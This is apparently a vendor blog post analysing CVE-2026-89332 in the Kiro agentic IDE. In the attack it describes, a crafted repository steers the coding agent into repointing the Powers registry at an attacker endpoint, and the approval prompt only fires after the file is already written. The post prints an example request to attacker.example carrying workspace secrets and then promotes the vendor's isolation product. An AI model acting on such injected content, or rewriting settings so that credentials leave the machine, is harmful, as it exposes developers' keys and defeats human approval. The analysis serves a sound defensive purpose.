Back to all posts
Published on · by Renaud Deraison

The file was already on disk

On September 11 AWS published CVE-2026-89332: a crafted repository gets Kiro's agent to rewrite the workspace settings file and point the Powers registry at an attacker's endpoint. Kiro did show the edit for approval, with the inserted data and the URL. The write had already landed, so opening the Powers panel before answering sent the workspace data anyway. AWS says rotate the credentials in any project you opened with an earlier version. In a Bromure Agentic Coding workspace the tool registry is not a file the guest can write, the fetch meets an egress rule on the way out, and the credentials it would carry are placeholders.

The approval dialog fired, it named the attacker's URL, and it showed the data headed there. It arrived after the write it was asking about had already landed on disk.

You clone a repository someone sent you and point the agent at it. A card slides in: the agent wants to change a setting, here is the line it inserted, here is the URL. You mean to read it. First you click over to the plugins panel, out of curiosity about what this project pulls in, and that click finishes the attack.

On September 11, AWS published security bulletin 2026-111-AWS for CVE-2026-89332 in Kiro, its agentic IDE. The CVE record describes it in the flat language of the catalog:

Inclusion of functionality from an untrusted control sphere in the Kiro Powers feature in Amazon Kiro IDE before version 0.8.135 might allow remote unauthenticated actors to obtain sensitive information from a developer workstation.

The record scores it 5.5 on CVSS 3.1, AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N: high confidentiality impact, with no integrity or availability impact. Kiro 0.8.135 fixes it, and AWS lists no workaround.

Powers, and the file that says where they come from

Powers are Kiro's plugin format: a bundle of MCP tools, skills and reference knowledge in one installable package. MCP is the Model Context Protocol, the plug that lets a coding agent call outside tools and read their results. You browse Powers from a registry inside the IDE and click install, the same way you would browse extensions.

A setting names the registry the IDE browses, and in an untrusted workspace the Kiro agent could write the workspace's settings file. A crafted repository uses that to point the Powers registry URL at an endpoint the attacker runs. Kiro fetches that URL when you open the Powers panel, and the request carries workspace data with it: in a working project, whatever sits next to the code, such as .env contents, cloud access keys, API tokens and database URLs.

Kiro has been here before. In July, a poisoned documentation page rewrote the config that launches Kiro's MCP servers, with no approval prompt at all. AWS added the prompt, and the September bulletin records how the prompt behaved.

Write first, ask second

The bulletin's account of the sequence is the part worth keeping:

Kiro presented the edit to the user for approval, showing the inserted data and the URL, but the file was already written to disk, so opening the Powers panel before responding to the prompt made the request anyway.

The dialog did its job as a dialog. It showed the inserted data and the destination URL, which is everything a reviewer needs to judge the change. The file sat on disk while the question was still open, so the question narrated an event rather than gating one. Between the write and your answer there is a window, and inside it the setting governs what Kiro fetches. One panel click in that window is the whole attack.

one machine, one window of a few secondsthe repositorycontent crafted to steerthe agent, opened as anuntrusted workspacethe writeworkspace settings file,powers registry → attackeron disk, in forcethe approval cardshows the inserted dataand the destination URLand waits for youyouranswerallowor denywhile the card waits, the setting is liveyou click the Powers panel · Kiro fetches the configured registry URLGET https://attacker.example/registry ← workspace data rides alongthe answer you give afterwards has nothing left to withhold
CVE-2026-89332 as a timeline, left to right, all on the developer's machine. The crafted repository gets the agent to write the workspace settings file, repointing the Kiro Powers registry URL at an attacker endpoint. The settings file lands on disk, and only then does the approval card appear, showing the inserted line and the URL as it should. While the card waits for an answer, the setting is already in force: opening the Powers panel makes Kiro fetch the configured registry, and workspace data leaves with the request. Whatever the developer clicks afterwards, nothing is left to withhold.

A prompt you can lose a race to

An approval prompt controls an outcome only when the outcome waits for your answer. Commit the effect first and the prompt turns into a notification with buttons on it, and whether it protects you now depends on how fast you read and what you click while reading. Kiro wrote first and asked second, which is the ordering that makes an agentic IDE feel quick. Any tool that hands an agent a file-writing tool and bolts a consent layer on above it faces the same trade, and vendors will keep taking it.

The version bump closes this instance. What survives is where the setting lives, and what it can reach once it changes.

Where that write lands in a Bromure workspace

Bromure Agentic Coding runs coding agents inside a hardware-virtualized Linux VM on your Mac, with the security controls on the host side of that boundary. The attack has four moves left once it reaches a workspace, and a different part of the product answers each one.

The tool registry is not a file the guest can write. In Bromure you define MCP servers once, in the app's MCP pane, on the host. The app translates each definition into the native configuration format of whichever agent is running, ~/.claude.json for Claude Code, a TOML block in ~/.codex/config.toml for Codex, the user-settings file for Grok Build, and injects it into the VM at boot. The manual states the consequence: adding, editing, or removing a server takes effect the next time the workspace's session starts, not live in a running session. An agent that rewrites the tool config inside the VM has edited a copy, on a machine that is not yours, and that copy becomes a live tool only at a session boot that reads the host's definition instead. No window opens, because the change and the effect sit in different places. For HTTP MCP servers the token stays host-side too, under a credential field captioned never sent to VM, swapped by proxy.

The write lands in a VM. Each workspace owns its own persistent Linux VM with its own kernel, disk, MAC address and network namespace. A rogue agent process can trash that VM and only that VM; your Mac, your other workspaces and your real files stay untouched, apart from the folders you shared on purpose. The crafted repository gets to modify a settings file on a machine that exists to be modified and, if it comes to that, erased.

The fetch has to get out. Yesterday's Vite scanning story had no outbound leg to block. This one does: the exfiltration is an ordinary request to a host of the attacker's choosing, which is what a per-workspace egress firewall is for. Guardrails carries an ordered, pf-style ruleset over every connection the VM opens, by host, IP or CIDR, protocol, port, and down to individual HTTP verbs for web traffic, so a workspace can read an API it is not allowed to write to. Bromure enforces it at the virtual switch and again in the proxy, with the guest's port-80 and port-443 flows diverted into the proxy so nothing inside the VM opts out of inspection. Rule edits reach running sessions at once. A workspace whose rules name your registry, your forge and your model provider carries no line that says attacker.example.

The request would have carried placeholders. The bulletin's phrase is "sensitive information from a developer workstation", and in a Bromure workspace that information is decoys. Bromure replaces every credential you configure with a structure-preserving fake inside the VM, derived from the real value plus a per-install 32-byte salt through HKDF-SHA256, keeping the shape client-side validators expect: sk-ant-api03-brm-… for Anthropic, ghp_ plus 36 characters for GitHub, glpat- plus 20 for GitLab, brm-k8s-… for Kubernetes, brm-db-… for a database secret. Those fakes go into the environment variables and into ~/.git-credentials, ~/.docker/config.json, ~/.kube/config, ~/.aws/config and the MCP configs. The real values stay encrypted on the Mac, and the host proxy swaps each one onto the wire at the last moment, scoped to the destination host it belongs to.

a developer workstationone filesystem, one network, real keysthe write lands on your diskworkspace settings, live before you answerthe card races the panel clickwhichever happens first decides the outcomeGET attacker.example/registryworkspace data, on a normal outbound portafterwardsupdate, then rotate every credential thatwas present in any project you openedin a workspacea guest disk, a host-side registry, placeholdersthe write lands on the VM's disktool definitions live on the host, injected at bootthe fetch meets the egress rulesat the virtual switch and again in the proxya fake off its scope is a tripwire451 · zero bytes forwarded · VM pausedafterwardswipe the disk and the home folder,and rotate nothing
The same crafted repository, opened on two machines. On a developer workstation the write lands on the real filesystem, the approval card races the Powers panel, the fetch leaves for the attacker's endpoint carrying whatever the project holds, and the remediation is to rotate every credential that was in reach. In a Bromure Agentic Coding workspace the write lands on a VM disk while the host keeps the authoritative tool definitions and injects them only at boot, the outbound fetch meets the workspace's egress rules at the virtual switch and again in the proxy, anything that does go out carries structure-preserving placeholders, and a placeholder addressed to a host it was not minted for is refused with HTTP 451 while the VM is paused on the spot.

The tripwire that fires on the request itself

The placeholders do a second job. Each fake has one legitimate destination family, the host scope it was minted for, so a fake in a request bound anywhere else means something inside the VM is shipping a credential off the machine. The proxy scans every outbound request, headers and body, with an Aho-Corasick automaton, cheap enough to run on all of them.

On a hit the proxy refuses the request with HTTP 451 and forwards not one byte, then pauses the VM. An alert offers Shut down, Save for Investigation, which exports the disk, home and shared folders for forensics first, or Continue at your own risk. The detection lands as a red Credential brokering row in the Security Timeline, and Bromure marks the workspace compromised, so your next launch asks to wipe the VM disk and the persistent home folder while keeping your tokens, keys and settings. You turn nothing on. The detector runs by default.

Kiro's approval card asked a question about a file that had already changed. The compromise detector asks nothing: it stops the request in flight, freezes the machine that sent it, and tells you afterwards. Bromure's own consent prompts work the same way round. In Ask mode the prompt-injection scanner holds the outbound request before any byte reaches the model host, Guardrails' write dialogs hold the API call rather than report it, and when you drive a workspace remotely those prompts render on the host, where a compromised guest can neither see nor forge them, and a timeout or a dismissal counts as a denial.

Rotate nothing

AWS's remediation runs two steps. Update to 0.8.135, then rotate the credentials present in any project you opened with an earlier version. The second step costs more than the first, and it costs in a particular way: you cannot scope it. You do not know which repositories were crafted, or which panel clicks landed inside which window, so you rotate what was in reach and re-authenticate the tooling that depended on it.

Bromure Agentic Coding's documentation puts the same thought the other way round: because only the fake leaked, the real credential never needs rotation. Keep the authoritative tool registry on the host, run the untrusted repository on a machine you can throw away, and fill that machine's home directory with placeholders. A race you lose then costs you a VM image.

Install Bromure Agentic Coding, and let the next repository try to rewrite a setting.